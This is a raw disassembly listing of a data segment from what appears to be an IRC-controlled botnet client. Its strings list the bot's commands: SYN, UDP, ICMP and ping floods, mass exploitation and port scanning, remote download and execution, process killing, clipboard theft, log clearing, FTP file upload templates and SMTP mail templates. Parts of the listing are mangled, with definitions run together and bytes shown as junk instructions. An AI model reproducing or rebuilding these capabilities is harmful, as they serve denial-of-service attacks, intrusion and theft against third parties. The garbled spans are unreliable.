		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_42BBB8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40B758o
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_42BC04	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040B74Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42BC50	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040B6D4o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040B6C4o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040B6BDo
dword_42BCA8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040B628o
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_42BCE4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40B53Do
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_42BD24	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040B536o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040B51Fo
aSS_3		db '-s:%s',0            ; DATA XREF: seg000:0040B508o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040B4E8o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: seg000:0040B4C4o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040B4B3o
		align 4
dword_42BDA4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040B42Do
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040B40Ao
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040B3E4o
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040B3CDo
		align 10h
unk_42BE00	db    3			; DATA XREF: seg000:0040B3C0o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040B34Co
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040B2ADo
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040B25Eo
		align 10h
aUsa		db 'usa',0              ; DATA XREF: seg000:0040B247o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040B230o
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040B219o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040B202o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040B1EBo
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040B1D4o
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040B1BDo
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040B1A6o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040B178o
		align 10h
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040B14Fo
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040B138o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040B121o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040B10Ao
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040B0F3o
		align 10h
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040B0DCo
		align 10h
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040B0C5o
		align 10h
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040B0AEo
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040B097o
		align 4
aDonad_frwww	db 'donad.frwww',0      ; DATA XREF: seg000:0040B080o
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040B069o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040B052o
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: seg000:0040B03Bo
		align 10h
aDs_ack		db 'ds.ack',0           ; DATA XREF: seg000:0040B024o
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: seg000:0040B00Do
		align 10h
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040AFF6o
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040AFDFo
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: seg000:0040AFB6o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: seg000:0040AF9Fo
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040AF88o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040AF71o
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040AF5Ao
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040AF43o
aDownload_010	db 'download.010',0     ; DATA XREF: seg000:0040AF2Co
		align 4
aDownload_up010	db 'download.up010',0   ; DATA XREF: seg000:0040AF15o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040AEFEo
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040AEE7o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040AED0o
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040AEB9o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040AEA2o
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040AE8Bo
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040AE74o
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040AE5Do
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040AE46o
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040AE2Fo
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040AE18o
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040AE01o
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040ADEAo
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040ADD3o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040ADBCo
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040ADA5o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040AD8Eo
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040AD77o
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040AD60o
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040AD49o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040AD32o
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040AD1Bo
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040AD04o
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040ACEDo
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040ACC4o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040ACADo
dword_42C134	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40ACA0o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_42C164	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40AC96o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_42C198	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40AC48o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_42C1C8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040AC3Eo
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: seg000:0040ABB1o
		align 4
dword_42C204	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40ABA6o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_42C238	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040AB9Co
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040AB34o
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040AB19o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:0040AAE6o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040AACEo
		align 4
dword_42C28C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40AAC3o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_42C2C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040AAB9o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_42C2F8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040AA35o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040AA11o
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040A9FAo
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040A9E3o
		align 4
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040A9B5o
					; seg000:0040A9CCo
		align 10h
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040A99Eo
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040A987o
		align 4
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040A970o
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040A959o
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040A942o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040A92Bo
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040A914o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040A8FDo
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040A8E6o
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040A8CFo
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040A8B8o
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040A8A1o
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040A88Ao
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040A873o
		align 10h
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040A85Co
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040A845o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040A82Eo
		align 10h
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040A817o
		align 10h
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040A800o
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040A7E9o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040A7D2o
		align 10h
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040A7BBo
		align 10h
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040A7A4o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040A78Do
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040A776o
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040A75Fo
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040A748o
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040A731o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040A71Ao
		align 10h
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040A703o
		align 4
aVall		db 'vall',0             ; DATA XREF: seg000:0040A6DDo
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040A6C8o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040A6B3o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040A69Eo
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040A689o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040A674o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040A65Fo
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040A64Ao
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040A635o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040A620o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040A60Bo
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040A5F6o
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040A5E1o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040A5CCo
dword_42C580	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A5C1o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040A58Do
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040A580o
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040A55Eo
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040A545o
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040A530o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040A51Bo
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040A506o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040A4F1o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040A4DCo
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040A4C7o
		align 10h
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040A4B2o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040A49Do
		align 4
aEnz_010	db 'enz.010',0          ; DATA XREF: seg000:0040A488o
aEnz_be010ne	db 'enz.be010ne',0      ; DATA XREF: seg000:0040A473o
aBox_si		db 'box.si',0           ; DATA XREF: seg000:0040A45Eo
		align 10h
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040A449o
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040A434o
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040A41Fo
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040A40Ao
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040A3F5o
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: seg000:0040A3E0o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: seg000:0040A3CBo
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040A3B6o
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040A3A1o
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040A38Co
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040A377o
		align 4
dword_42C6CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A343o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_42C704	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A33Co
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:0040A325o
		align 10h
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:0040A310o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:0040A2FBo
		align 10h
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:0040A2E6o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:0040A2D1o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:0040A2BCo
		align 10h
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:0040A2A7o
		align 10h
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:0040A292o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:0040A27Do
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:0040A268o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:0040A253o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:0040A23Eo
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:0040A229o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:0040A21Eo
		align 4
aScan		db 'Scan',0             ; DATA XREF: seg000:0040A219o
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:0040A200o
		align 10h
dword_42C7E0	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure		db 'Secure',0           ; DATA XREF: seg000:0040A1F0o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:0040A1D7o
		align 4
dword_42C808	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: seg000:0040A1C7o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:0040A1AEo
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:0040A199o
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:0040A184o
		align 4
dword_42C848	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:0040A15Bo
dword_42C864	dd 69027002h, 1F671F6Eh, 2E2Ehdword_42C870	dd 676E6950h, 6F6C6620h, 646Fhdword_42C87C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42C88C	dd 64027502h, 2E1F701Fh, 2Ehdword_42C898	dd 20504455h, 6F6F6C66h, 64hdword_42C8A4	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42C8B4	dd 79027302h, 2E1F6E1Fh, 2Ehdword_42C8C0	dd 206E7953h, 6F6F6C66h, 64hdword_42C8CC	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42C8DC	dd 64026402h, 1F731F6Fh, 2E2Ehdword_42C8E8	dd 536F4444h, 6F6C6620h, 646Fhdword_42C8F4	dd 736F6464h, 66666F2Eh, 0dword_42C900	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42C910	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:0040A08Eo
dword_42C934	dd 6F026C02h, 2E1F671Fh, 2Ehdword_42C940	dd 20676F4Ch, 7473696Ch, 0dword_42C94C	dd 2E676F6Ch, 66666Fhdword_42C954	dd 74026802h, 641F7074h, 2E2E1Fhdword_42C960	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42C970	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer		db 'Server',0           ; DATA XREF: seg000:0040A02Co
					; seg000:0040A055o ...
		align 4
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:0040A013o
		align 4
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:00409FFEo
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:00409FE9o
		align 10h
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:00409FD4o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:00409FBFo
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:00409FAAo
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:00409F92o
a63		db '63',0               ; DATA XREF: seg000:00409E7Do
		align 4
asc_42C9DC:				; DATA XREF: seg000:00409E5Eo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:00409E27o
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:00409E1Co
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:00409E0Bo
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:00409DF2o
		align 4
aUser_2		db '$user',0            ; DATA XREF: seg000:00409DE1o
		align 4
aMe_0		db '$me',0              ; DATA XREF: seg000:00409DCFo
aD_0		db '$%d',0              ; DATA XREF: seg000:00409D67o
aD_1		db '$%d-',0             ; DATA XREF: seg000:00409CBBo
		align 4
dword_42CA1C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:00409C53o
		dd 0A0Dh
dword_42CA34	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:00409BE4o
		align 4
dword_42CA58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:00409BCAo
		dd 0D017325h, 0Ah
dword_42CA74	dd 52455601h, 4E4F4953h, 1dword_42CA80	dd 6968h	aNewshit0	db 'newshit0',0         ; DATA XREF: seg000:00409A54o
		align 10h
a332		db '332',0              ; DATA XREF: seg000:004099C5o
					; seg000:00409A8Bo ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:004099A3o
					; sub_40E367+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:00409997o
					; sub_40E367+16o
dword_42CAA4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00409946o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_42CAD8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00409926o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:004098EFo
aPart		db 'PART',0             ; DATA XREF: seg000:004098A1o
					; seg000:00409963o
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: seg000:00409879o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: seg000:0040975Bo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:004096FEo
					; seg000:00409987o
dword_42CB38	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004096E5o
					; seg000:0040E063o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:00409674o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040961Do
					; seg000:0040D364o ...
		align 10h
a433		db '433',0              ; DATA XREF: seg000:004095F5o
a302		db '302',0              ; DATA XREF: seg000:004095BAo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409574o
					; seg000:00409748o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:00409553o
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:00409539o
		align 4
asc_42CBAC	db ' :',0               ; DATA XREF: seg000:00409416o
					; seg000:loc_409C5Do
		align 10h
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42CC40	dd 25207325h, 253A2073h, 0A0D73h, 0off_42CC50	dd offset aAdd		; DATA XREF: sub_40E402+6Dr
					; sub_40E7E6+50r ...
					; "Add"
off_42CC54	dd offset aAdded	; DATA XREF: sub_40E402+2Dr
					; sub_40E7E6+82r ...
					; "Added"
dword_42CC58	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42CCC4h, 42CCBCh,	2, 42CCB0h, 42CCA4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0042CC84o
aStop_0		db 'Stop',0             ; DATA XREF: seg002:0042CC80o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:0042CC78o
aStart_0	db 'Start',0            ; DATA XREF: seg002:0042CC74o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0042CC6Co
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:0042CC68o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:0042CC60o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0042CC5Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_42CC54o
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_42CC50o
dword_42CD18	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E402+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42CD50	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E402+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42CD8C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E402+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40E52B+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40E52B:loc_40E643o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40E52B:loc_40E63Co
		align 4
